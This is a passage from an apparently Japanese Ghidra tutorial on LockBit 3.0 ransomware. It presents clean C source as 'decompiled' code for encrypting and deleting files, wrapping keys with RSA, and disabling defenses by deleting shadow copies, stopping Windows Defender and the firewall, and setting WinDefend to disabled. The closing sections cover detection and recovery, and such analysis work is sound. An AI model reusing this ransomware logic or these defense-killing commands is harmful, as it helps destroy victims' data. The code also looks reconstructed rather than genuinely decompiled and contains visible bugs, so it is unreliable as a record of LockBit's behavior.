        checksum *= data[i] | 1;
        i++;
        break;
    }
  }
  
  return checksum;
}

暗号化の準備

    • ターゲットドライブとパスの列挙
    • 除外パス・ファイルのリスト作成
    • 暗号化ファイル拡張子のリスト作成

Ghidraでデコンパイルされたターゲット列挙関数の例

void enumerateTargets(char **targetPaths, int *pathCount, char **excludePaths, int excludePathCount) {
  char driveLetter = "C:\\";
  DWORD drives = GetLogicalDrives();
  int i = 0;
  
  // 利用可能なドライブの列挙
  for (char c = 'A'; c <= 'Z'; c++) {
    if (drives & (1 << (c - 'A'))) {
      driveLetter[0] = c;
      
      // ドライブタイプのチェック(リムーバブルドライブはスキップ)
      if (GetDriveTypeA(driveLetter) == DRIVE_FIXED) {
        // 除外パスのチェック
        bool excluded = false;
        for (int j = 0; j < excludePathCount; j++) {
          if (_stricmp(driveLetter, excludePaths[j]) == 0) {
            excluded = true;
            break;
          }
        }
        
        if (!excluded) {
          // ターゲットリストに追加
          targetPaths[i] = _strdup(driveLetter);
          i++;
        }
      }
    }
  }
  
  // 重要なシステムフォルダを追加
  targetPaths[i++] = _strdup("C:\\Users");
  targetPaths[i++] = _strdup("C:\\Documents and Settings");
  
  *pathCount = i;
}

暗号化キーの準備

    • ランダムなセッションキーの生成
    • RSA公開鍵によるセッションキーの暗号化
    • 暗号化されたセッションキーの保存

Ghidraでデコンパイルされた暗号化キー準備関数の例

bool prepareEncryptionKeys(BYTE *encryptedSessionKey, DWORD *encryptedKeySize) {
  HCRYPTPROV hCryptProv;
  HCRYPTKEY hSessionKey;
  HCRYPTKEY hRsaPublicKey;
  BYTE sessionKey[32]; // 256ビットAESキー
  bool result = false;
  
  // 暗号化プロバイダのコンテキスト取得
  if (!CryptAcquireContextA(&hCryptProv, NULL, "Microsoft Enhanced RSA and AES Cryptographic Provider",
                           PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
    return false;
  }
  
  // ランダムなセッションキー(AES-256)の生成
  if (!CryptGenRandom(hCryptProv, sizeof(sessionKey), sessionKey)) {
    CryptReleaseContext(hCryptProv, 0);
    return false;
  }
  
  // RSA公開鍵のインポート
  BYTE rsaPublicKeyBlob[] = {
    // RSA公開鍵のバイナリデータ(実際のLockBit 3.0で使用される公開鍵)
    0x06, 0x02, 0x00, 0x00, 0x00, 0xA4, 0x00, 0x00, 0x52, 0x53, 0x41, 0x31, 
    // ... (省略) ...
  };
  
  if (!CryptImportKey(hCryptProv, rsaPublicKeyBlob, sizeof(rsaPublicKeyBlob), 0, 0, &hRsaPublicKey)) {
    CryptReleaseContext(hCryptProv, 0);
    return false;
  }
  
  // AESセッションキーの作成
  BYTE keyBlob[sizeof(BLOBHEADER) + sizeof(DWORD) + 32];
  BLOBHEADER *blobHeader = (BLOBHEADER*)keyBlob;
  DWORD *keySize = (DWORD*)(keyBlob + sizeof(BLOBHEADER));
  
  blobHeader->bType = PLAINTEXTKEYBLOB;
  blobHeader->bVersion = CUR_BLOB_VERSION;
  blobHeader->reserved = 0;
  blobHeader->aiKeyAlg = CALG_AES_256;
  *keySize = 32;
  
  memcpy(keyBlob + sizeof(BLOBHEADER) + sizeof(DWORD), sessionKey, 32);
  
  // セッションキーのインポート
  if (!CryptImportKey(hCryptProv, keyBlob, sizeof(keyBlob), 0, 0, &hSessionKey)) {
    CryptDestroyKey(hRsaPublicKey);
    CryptReleaseContext(hCryptProv, 0);
    return false;
  }
  
  // RSA公開鍵でセッションキーを暗号化
  DWORD dwBlobLen = 0;
  if (!CryptExportKey(hSessionKey, hRsaPublicKey, SIMPLEBLOB, 0, NULL, &dwBlobLen)) {
    CryptDestroyKey(hSessionKey);
    CryptDestroyKey(hRsaPublicKey);
    CryptReleaseContext(hCryptProv, 0);
    return false;
  }
  
  if (dwBlobLen <= *encryptedKeySize) {
    if (CryptExportKey(hSessionKey, hRsaPublicKey, SIMPLEBLOB, 0, encryptedSessionKey, encryptedKeySize)) {
      result = true;
    }
  }
  
  // 暗号化に使用するグローバルセッションキーとして保存
  if (result) {
    g_hCryptProv = hCryptProv;
    g_hSessionKey = hSessionKey;
  } else {
    CryptDestroyKey(hSessionKey);
    CryptReleaseContext(hCryptProv, 0);
  }
  
  CryptDestroyKey(hRsaPublicKey);
  return result;
}

ファイル暗号化プロセスの詳細

LockBit 3.0のファイル暗号化プロセスをGhidraで解析した結果を示します

  • ファイル列挙関数:
void findAndEncryptFiles(char *startPath, char **extensionList, int extensionCount, char **excludePaths, int excludePathCount) {
  WIN32_FIND_DATAA findData;
  HANDLE hFind;
  char searchPath[MAX_PATH];
  char filePath[MAX_PATH];
  
  // 検索パスの作成
  sprintf(searchPath, "%s\\*", startPath);
  
  // 最初のファイルを検索
  hFind = FindFirstFileA(searchPath, &findData);
  if (hFind == INVALID_HANDLE_VALUE) {
    return;
  }
  
  do {
    // "."と".."をスキップ
    if (strcmp(findData.cFileName, ".") == 0 || strcmp(findData.cFileName, "..") == 0) {
      continue;
    }
    
    // 完全なファイルパスを構築
    sprintf(filePath, "%s\\%s", startPath, findData.cFileName);
    
    // 除外パスのチェック
    bool excluded = false;
    for (int i = 0; i < excludePathCount; i++) {
      if (_stricmp(filePath, excludePaths[i]) == 0 || 
          strstr(filePath, excludePaths[i]) != NULL) {
        excluded = true;
        break;
      }
    }
    
    if (excluded) {
      continue;
    }
    
    if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
      // ディレクトリの場合は再帰的に処理
      findAndEncryptFiles(filePath, extensionList, extensionCount, excludePaths, excludePathCount);
    } else {
      // ファイルの場合は拡張子をチェック
      char *extension = strrchr(findData.cFileName, '.');
      if (extension != NULL) {
        for (int i = 0; i < extensionCount; i++) {
          if (_stricmp(extension, extensionList[i]) == 0) {
            // 拡張子が一致したらファイルを暗号化
            encryptFile(filePath);
            break;
          }
        }
      }
    }
  } while (FindNextFileA(hFind, &findData));
  
  FindClose(hFind);
}
  • ファイル暗号化関数

LockBit 3.0の核心部分であるファイル暗号化関数を解析します。この関数はファイルを開き、内容を読み取り、暗号化し、元のファイルを削除して暗号化されたファイルを保存します

bool encryptFile(char *filePath) {
  HANDLE hFile;
  DWORD fileSize;
  DWORD bytesRead;
  DWORD bytesWritten;
  BYTE *fileData;
  BYTE *encryptedData;
  DWORD encryptedDataSize;
  char encryptedFilePath[MAX_PATH];
  bool result = false;
  
  // ファイルを開く
  hFile = CreateFileA(filePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE) {
    return false;
  }
  
  // ファイルサイズを取得
  fileSize = GetFileSize(hFile, NULL);
  if (fileSize == INVALID_FILE_SIZE || fileSize == 0) {
    CloseHandle(hFile);
    return false;
  }
  
  // ファイルデータを読み込むメモリを確保
  fileData = (BYTE*)VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_READWRITE);
  if (fileData == NULL) {
    CloseHandle(hFile);
    return false;
  }
  
  // ファイルを読み込む
  if (!ReadFile(hFile, fileData, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
    VirtualFree(fileData, 0, MEM_RELEASE);
    CloseHandle(hFile);
    return false;
  }
  
  // ファイルハンドルを閉じる
  CloseHandle(hFile);
  
  // 暗号化後のデータサイズを計算
  encryptedDataSize = fileSize;
  
  // 暗号化されたデータを格納するメモリを確保
  encryptedData = (BYTE*)VirtualAlloc(NULL, encryptedDataSize, MEM_COMMIT, PAGE_READWRITE);
  if (encryptedData == NULL) {
    VirtualFree(fileData, 0, MEM_RELEASE);
    return false;
  }
  
  // データのコピー
  memcpy(encryptedData, fileData, fileSize);
  
  // AES暗号化を実行
  DWORD dwBlockLen = encryptedDataSize;
  if (!CryptEncrypt(g_hSessionKey, 0, TRUE, 0, encryptedData, &dwBlockLen, encryptedDataSize)) {
    VirtualFree(encryptedData, 0, MEM_RELEASE);
    VirtualFree(fileData, 0, MEM_RELEASE);
    return false;
  }
  
  // 暗号化されたファイルのパスを作成
  sprintf(encryptedFilePath, "%s.lockbit", filePath);
  
  // 元のファイルを削除して暗号化されたファイルを作成
  hFile = CreateFileA(encryptedFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hFile == INVALID_HANDLE_VALUE) {
    VirtualFree(encryptedData, 0, MEM_RELEASE);
    VirtualFree(fileData, 0, MEM_RELEASE);
    return false;
  }
  
  // ファイルシグネチャを書き込む(LockBitの識別子)
  BYTE signature[] = "LOCKBIT";
  WriteFile(hFile, signature, sizeof(signature) - 1, &bytesWritten, NULL);
  
  // 暗号化されたデータを書き込む
  if (WriteFile(hFile, encryptedData, encryptedDataSize, &bytesWritten, NULL) && bytesWritten == encryptedDataSize) {
    result = true;
  }
  
  // リソースを解放
  CloseHandle(hFile);
  VirtualFree(encryptedData, 0, MEM_RELEASE);
  VirtualFree(fileData, 0, MEM_RELEASE);
  
  // 成功した場合は元のファイルを削除
  if (result) {
    DeleteFileA(filePath);
  }
  
  return result;
}

Ghidraでの難読化解除テクニック

Ghidraを使用して、LockBit 3.0で見られる難読化を解除するためのテクニックを紹介します

スクリプトを使用したコード修復

Ghidraには組み込みのPythonおよびJavaスクリプトエンジンがあり、難読化されたコードを解析・修復するためのスクリプトを作成できます。以下は、単純なXOR文字列解読のためのPythonスクリプトの例です

# @description: XOR暗号化された文字列を復号する

import ghidra.program.model.mem.MemoryAccessException as MemoryAccessException
from ghidra.program.model.symbol import SourceType

def decryptXOR(data, key):
    result = ""
    for b in data:
        result += chr(b ^ key)
    return result

def findAndDecryptStrings():
    # メモリブロックをイテレーション
    for block in currentProgram.getMemory().getBlocks():
        if block.isInitialized():
            blockStart = block.getStart().getOffset()
            blockLength = block.getSize()
            
            # 適切なサイズの連続データを検索
            addr = block.getStart()
            while addr.getOffset() < blockStart + blockLength:
                # 潜在的な暗号化文字列を検出
                try:
                    # XORキーの候補リスト
                    keyCandidates = [0x42, 0x55, 0x66, 0x77]
                    
                    # 最大文字列長
                    maxLen = 50
                    
                    # メモリからバイトを読み取り
                    data = []
                    for i in range(min(maxLen, int(blockStart + blockLength - addr.getOffset()))):
                        b = getByte(addr.add(i))
                        # ASCII範囲外の文字を含むかチェック
                        if b == 0:
                            break
                        data.append(b & 0xFF)
                    
                    # 意味のある文字列を探す
                    if len(data) > 3:
                        for key in keyCandidates:
                            decrypted = decryptXOR(data, key)
                            
                            # 有効なASCII文字だけを含むか確認
                            if all(32 <= ord(c) <= 126 for c in decrypted) and len(decrypted) > 3:
                                # APIまたは既知の文字列パターンをチェック
                                if "Create" in decrypted or "File" in decrypted or "Registry" in decrypted:
                                    print("Found potential string at {}: {}".format(addr, decrypted))
                                    
                                    # コメントを追加
                                    comment = "Decrypted string: " + decrypted
                                    setEOLComment(addr, comment)
                                    
                                    # データ型を設定
                                    createData(addr, ghidra.program.model.data.ByteDataType(), len(data))
                                    
                                    # ブックマークを追加
                                    bookmarkAddress(addr, "Analysis", "Encrypted String")
                                    
                                    # キーとサイズを保存
                                    xorKey = key
                                    stringSize = len(data)
                                    break
                
                except MemoryAccessException:
                    pass
                
                # 次のアドレスへ
                addr = addr.add(1)
                
    print("String decryption analysis complete")

# メイン処理
findAndDecryptStrings()

制御フロー解析と再構築

Ghidraの関数グラフビューとデコンパイラを使用して、複雑な制御フロー難読化を解析・再構築する方法

  • Function Graph ビューで関数の制御フローを視覚的に解析
  • 条件分岐の評価と簡素化(静的解析時に条件が常に真/偽になるケース)
  • 到達不能コードの識別と除外
  • スイッチケーステーブルの復元

構造体定義と型情報の復元:

LockBit 3.0の暗号化ロジックで使用される重要な構造体を復元する例

// Ghidraのデータタイプマネージャで定義する構造体
struct LockBitConfig {
    DWORD version;               // ランサムウェアのバージョン
    DWORD flags;                 // 動作フラグ
    char mutexName[64];          // 重複実行防止用のミューテックス名
    char campaignId[16];         // キャンペーンID
    char c2Server[256];          // C2サーバーのアドレス
    BYTE rsaPublicKey[294];      // RSA公開鍵
    char fileExtensions[1024];   // 暗号化対象のファイル拡張子
    char excludedPaths[2048];    // 暗号化から除外するパス
    char ransomnoteTemplate[4096]; // 身代金メモのテンプレート
    DWORD encryptionThreads;     // 暗号化に使用するスレッド数
};

struct EncryptedFileHeader {
    char signature[8];           // "LOCKBIT"
    DWORD version;               // ファイルフォーマットのバージョン
    DWORD originalSize;          // 元のファイルサイズ
    BYTE encryptedAesKey[256];   // RSAで暗号化されたAESキー
    BYTE iv[16];                 // 初期化ベクトル
};
防御メカニズムの無効化
  • シャドウコピーの削除
  • Windowsの復元ポイントの削除
  • セキュリティサービスの停止

Ghidraでデコンパイルされた防御無効化関数の例

void disableDefenses(void) {
  STARTUPINFOA si;
  PROCESS_INFORMATION pi;
  char cmdShadowCopies[] = "cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete";
  char cmdServices[] = "cmd.exe /c net stop \"Windows Defender Service\" & net stop \"Windows Firewall\"";
  
  // 構造体の初期化
  memset(&si, 0, sizeof(si));
  si.cb = sizeof(si);
  memset(&pi, 0, sizeof(pi));
  
  // シャドウコピーの削除
  CreateProcessA(NULL, cmdShadowCopies, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
  WaitForSingleObject(pi.hProcess, 5000);
  CloseHandle(pi.hProcess);
  CloseHandle(pi.hThread);
  
  // セキュリティサービスの停止
  CreateProcessA(NULL, cmdServices, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
  WaitForSingleObject(pi.hProcess, 5000);
  CloseHandle(pi.hProcess);
  CloseHandle(pi.hThread);
  
  // レジストリからの特定のサービスの無効化
  HKEY hKey;
  if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, 
                   "SYSTEM\\CurrentControlSet\\Services\\WinDefend", 
                   0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
    DWORD dwValue = 4; // 4 = SERVICE_DISABLED
    RegSetValueExA(hKey, "Start", 0, REG_DWORD, (BYTE*)&dwValue, sizeof(dwValue));
    RegCloseKey(hKey);
  }
}

LockBit 3.0の特定の弱点と対策

Ghidraによる解析で発見されたLockBit 3.0の弱点と、それを利用した対策を紹介します:

  1. 暗号化プロセスの中断:

特定の段階で暗号化プロセスを中断することで、ファイルの復旧が可能になる場合があります:

// 暗号化中断検出用のファイルシステム監視ツール(概念コード)
void monitorFileSystemChanges() {
  // 重要なディレクトリを監視
  HANDLE hDir = CreateFile(
    "C:\\Users",
    FILE_LIST_DIRECTORY,
    FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
    NULL,
    OPEN_EXISTING,
    FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
    NULL
  );
  
  // ファイル操作を監視
  while (true) {
    // ファイル変更通知を待機
    char buffer[1024];
    DWORD bytesReturned;
    ReadDirectoryChangesW(
      hDir,
      buffer,
      sizeof(buffer),
      TRUE,
      FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_ATTRIBUTES | FILE_NOTIFY_CHANGE_SIZE,
      &bytesReturned,
      NULL,
      NULL
    );
    
    // 変更通知を処理
    FILE_NOTIFY_INFORMATION* info = (FILE_NOTIFY_INFORMATION*)buffer;
    do {
      // ファイル名を取得
      wchar_t fileName[MAX_PATH];
      wcsncpy(fileName, info->FileName, info->FileNameLength / sizeof(wchar_t));
      fileName[info->FileNameLength / sizeof(wchar_t)] = L'\0';
      
      // 拡張子をチェック
      if (wcsstr(fileName, L".lockbit") != NULL) {
        // ランサムウェアの暗号化を検出
        wprintf(L"Ransomware encryption detected: %s\n", fileName);
        
        // プロセス一覧を取得し、不審なプロセスを特定
        identifySuspiciousProcesses();
        
        // ユーザーに警告
        MessageBox(NULL, L"潜在的なランサムウェア活動を検出しました!システムをシャットダウンしますか?", 
                  L"セキュリティ警告", MB_YESNO | MB_ICONWARNING);
        
        // その他の対応アクション...
      }
      
      // 次の通知へ
      if (info->NextEntryOffset == 0) break;
      info = (FILE_NOTIFY_INFORMATION*)((char*)info + info->NextEntryOffset);
    } while (true);
  }
}
  1. 暗号化キャッシュの活用:

Windows API の CryptAcquireContext と関連関数を使用する際、一部の実装ではキーデータがメモリにキャッシュされることがあります。メモリダンプを取得して分析することで、一部のケースでは暗号化キーを回収できる可能性があります:

// メモリダンプからCrypt APIキャッシュを探すスクリプト(概念コード)
void searchForCryptApiCaches(const char* memoryDumpPath) {
  // メモリダンプを読み込む
  FILE* file = fopen(memoryDumpPath, "rb");
  if (file == NULL) {
    printf("Failed to open memory dump file\n");
    return;
  }
  
  // ファイルサイズを取得
  fseek(file, 0, SEEK_END);
  long fileSize = ftell(file);
  fseek(file, 0, SEEK_SET);
  
  // メモリを確保
  unsigned char* buffer = (unsigned char*)malloc(fileSize);
  if (buffer == NULL) {
    printf("Failed to allocate memory\n");
    fclose(file);
    return;
  }
  
  // ファイルを読み込む
  fread(buffer, 1, fileSize, file);
  fclose(file);
  
  // AESキー構造の特徴を検索
  printf("Searching for AES key structures...\n");
  for (long i = 0; i < fileSize - 32; i++) {
    // AESキーの特徴パターンをチェック
    // - キーサイズ(32バイト)
    // - キー前後の特徴的なパターン
    
    // 例:AES-256キーの前には特定のヘッダーパターンがある可能性がある
    if (buffer[i] == 0x08 && buffer[i+1] == 0x02 && buffer[i+2] == 0x00 && buffer[i+3] == 0x00) {
      printf("Potential AES key found at offset 0x%lx\n", i);
      
      // 32バイトのキー候補を出力
      printf("Key candidate: ");
      for (int j = 0; j < 32; j++) {
        printf("%02x", buffer[i+4+j]);
      }
      printf("\n");
    }
  }
  
  // RSA暗号化されたAESキーの特徴を検索
  printf("Searching for RSA encrypted AES keys...\n");
  for (long i = 0; i < fileSize - 256; i++) {
    // RSA暗号化されたキーの特徴パターンをチェック
    // 例:特定のヘッダーパターンとサイズ
    
    // RSA BLOBヘッダーの検出
    if (buffer[i] == 0x06 && buffer[i+1] == 0x02 && buffer[i+2] == 0x00 && buffer[i+3] == 0x00) {
      printf("Potential RSA BLOB found at offset 0x%lx\n", i);
      
      // RSA BLOBを出力
      printf("RSA BLOB data: ");
      for (int j = 0; j < 16; j++) {
        printf("%02x", buffer[i+j]);
      }
      printf("...\n");
    }
  }
  
  // メモリを解放
  free(buffer);
}
  1. ファイルアクセス監視とプロセス隔離:

ランサムウェアの動作パターンを検出し、早期に対応するためのファイルアクセス監視システムの実装例:

// ファイルアクセスパターン監視システム(概念コード)
typedef struct {
  DWORD processId;
  int fileOpenCount;
  int fileWriteCount;
  int fileDeleteCount;
  double entropy;
  time_t startTime;
} PROCESS_ACTIVITY;

// プロセス活動をトラッキング
PROCESS_ACTIVITY processActivities[1024];
int processCount = 0;

// ファイルアクセスをフック
BOOL WINAPI HookedWriteFile(
  HANDLE hFile,
  LPCVOID lpBuffer,
  DWORD nNumberOfBytesToWrite,
  LPDWORD lpNumberOfBytesWritten,
  LPOVERLAPPED lpOverlapped
) {
  // 元のWriteFile関数を呼び出す
  BOOL result = OriginalWriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped);
  
  if (result) {
    // 現在のプロセスIDを取得
    DWORD processId = GetCurrentProcessId();
    
    // プロセス活動を記録
    updateProcessActivity(processId, ACTIVITY_FILE_WRITE, lpBuffer, nNumberOfBytesToWrite);
    
    // ランサムウェアの動作パターンをチェック
    if (checkForRansomwarePattern(processId)) {
      // アラートを表示
      triggerRansomwareAlert(processId);
      
      // プロセスの分離または終了を検討
      // terminateRansomwareProcess(processId);
    }
  }
  
  return result;
}

// ランサムウェアパターンのチェック
BOOL checkForRansomwarePattern(DWORD processId) {
  for (int i = 0; i < processCount; i++) {
    if (processActivities[i].processId == processId) {
      // 時間あたりのファイル操作率を計算
      time_t currentTime = time(NULL);
      double elapsedSeconds = difftime(currentTime, processActivities[i].startTime);
      if (elapsedSeconds < 1.0) elapsedSeconds = 1.0;
      
      double fileOpsPerSecond = (processActivities[i].fileOpenCount + 
                               processActivities[i].fileWriteCount + 
                               processActivities[i].fileDeleteCount) / elapsedSeconds;
      
      // 閾値をチェック
      if (fileOpsPerSecond > 10.0 && // 高いファイル操作率
          processActivities[i].entropy > 7.8 && // 高いエントロピー(暗号化の兆候)
          processActivities[i].fileDeleteCount > 0) { // 元ファイルの削除
        return TRUE;
      }
    }
  }
  
  return FALSE;
}

最先端の対ランサムウェア技術

ランサムウェアとの継続的な戦いにおいて、最新の防御技術を紹介します:

  1. AIベースのふるまい検知:
    • 機械学習モデルを使用して正常な動作パターンを学習
    • 異常なファイルシステム操作の検出
    • 暗号化動作の特徴的なパターンの早期発見
  2. ハニーポットファイルの活用:
    • システム内にデコイファイルを配置
    • これらのファイルへのアクセスを監視し、不正アクセスを検出
    • 早期警告システムとしての機能
  3. ストレージスナップショット技術:
    • 継続的なデータスナップショットの自動作成
    • ランサムウェア攻撃検出時の即時ロールバック機能
    • データ損失を最小限に抑える迅速な復旧メカニズム
  4. ランサムウェア耐性ファイルシステム:
    • WORM(Write Once Read Many)ストレージの導入
    • 不変データの保護メカニズム
    • 許可されていない変更の防止

結論

本記事では、Ghidraを使用したランサムウェアの暗号化ルーチンの解析について詳細に解説しました。LockBit 3.0のような高度なランサムウェアは、複雑な暗号化アルゴリズム、検出回避技術、および多層防御メカニズムを使用していますが、適切なリバースエンジニアリングツールと技術を用いることで、その内部動作を理解し、効果的な対策を講じることが可能です。

重要なポイントをまとめると:

  1. 技術的理解の重要性:ランサムウェアの内部動作を理解することは、効果的な防御戦略を構築するための基盤となります。
  2. 多層防御アプローチ:単一の対策ではなく、予防、検出、対応、復旧を含む総合的なセキュリティアプローチが必要です。
  3. 継続的な学習と適応:ランサムウェアは常に進化しているため、セキュリティ専門家も継続的に知識をアップデートし、新しい脅威に適応する必要があります。
  4. コミュニティの協力:セキュリティコミュニティ内での情報共有と協力は、新たな脅威に対抗するために不可欠です。

このような教育的な分析と知識の共有を通じて、組織はランサムウェアのリスクを理解し、適切な対策を講じることができます。最終的には、技術的対策と組織的対策の両方を組み合わせた包括的なアプローチが、ランサムウェア攻撃からの保護に最も効果的です。

付録:Ghidraでの解析に役立つショートカットとTips

Ghidraでの効率的な解析作業のために、以下のショートカットとTipsを紹介します

主要なショートカット

ショートカット機能
G指定したアドレスに移動
Ctrl+Shift+Fプログラム全体でテキスト検索
Ctrl+E現在の関数をデコンパイル
F現在の場所に関数を作成
Lラベルを作成
;コメントを追加
Tabデコンパイル結果とディスアセンブリ表示を切り替え
Alt+→関数呼び出しを追跡
Alt+←前の場所に戻る
/選択した命令を無効化/コメントアウト
Ctrl+Lハイライト(複数カラー使用可能)

効率的な解析のためのTips

  1. 関数シグネチャの定義
    • 正確な戻り値と引数の型を定義することで、デコンパイル結果が大幅に改善されます
    • Edit Function Signature ダイアログを使用(関数上で右クリック)
  2. 構造体の活用
    • データ型マネージャーで独自の構造体を定義
    • 確認されたデータパターンに適用することで可読性が向上
  3. スクリプト自動化
    • 繰り返し行う解析タスクはPythonまたはJavaスクリプトで自動化
    • Script Managerでスクリプトを管理・実行
  4. ブックマークの活用
    • 重要な場所をブックマーク(Ctrl+D)
    • カテゴリ分けして整理
  5. プロジェクト共有と連携
    • チームでの解析時にはプロジェクトの共有リポジトリを使用
    • 解析結果を他のチームメンバーと共有・統合
  6. Function Graphの活用
    • 関数の制御フローを視覚的に把握
    • 複雑な分岐を含む関数の理解に特に有効